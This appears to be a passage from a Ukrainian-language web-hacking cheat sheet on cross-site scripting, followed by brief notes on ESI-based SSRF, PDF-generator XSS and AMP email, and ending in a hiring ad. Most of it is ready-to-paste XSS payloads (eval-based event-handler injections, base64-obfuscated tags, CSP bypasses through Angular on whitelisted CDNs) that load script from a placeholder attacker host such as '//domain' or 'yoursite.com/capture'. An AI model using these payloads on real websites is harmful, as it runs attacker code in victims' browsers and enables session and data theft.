"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Доступ до схованого вмісту
З цього опису можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, введення REGEX все ще можна знайти після того, як значення введення регулярного виразу було видалено:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Отримали XSS на сайті, який використовує кешування? Спробуйте підвищити це до SSRF через впровадження Edge Side Include з цим навантаженням:
<esi:include src="http://yoursite.com/capture" />
Використовуйте це для обходу обмежень файлів cookie, фільтрів XSS та багато іншого!
Додаткова інформація про цю техніку тут: XSLT.
XSS у динамічно створеному PDF
Якщо веб-сторінка створює PDF, використовуючи введення, кероване користувачем, ви можете спробувати обдурити бота, який створює PDF, щоб виконати довільний JS-код.
Таким чином, якщо бот для створення PDF знаходить якісь HTML-теги, він буде їх інтерпретувати, і ви можете зловживати цим поведінкою, щоб викликати Server XSS.
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML-теги, доповнені JavaScript для забезпечення функціональності з акцентом на швидкість та безпеку. Він підтримує ряд компонентів для різних функцій, доступних через компоненти AMP.
Формат AMP для Email розширює певні компоненти AMP для електронних листів, що дозволяє отримувачам взаємодіяти з контентом безпосередньо у своїх листах.
Якщо вас цікавить кар'єра хакера та взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).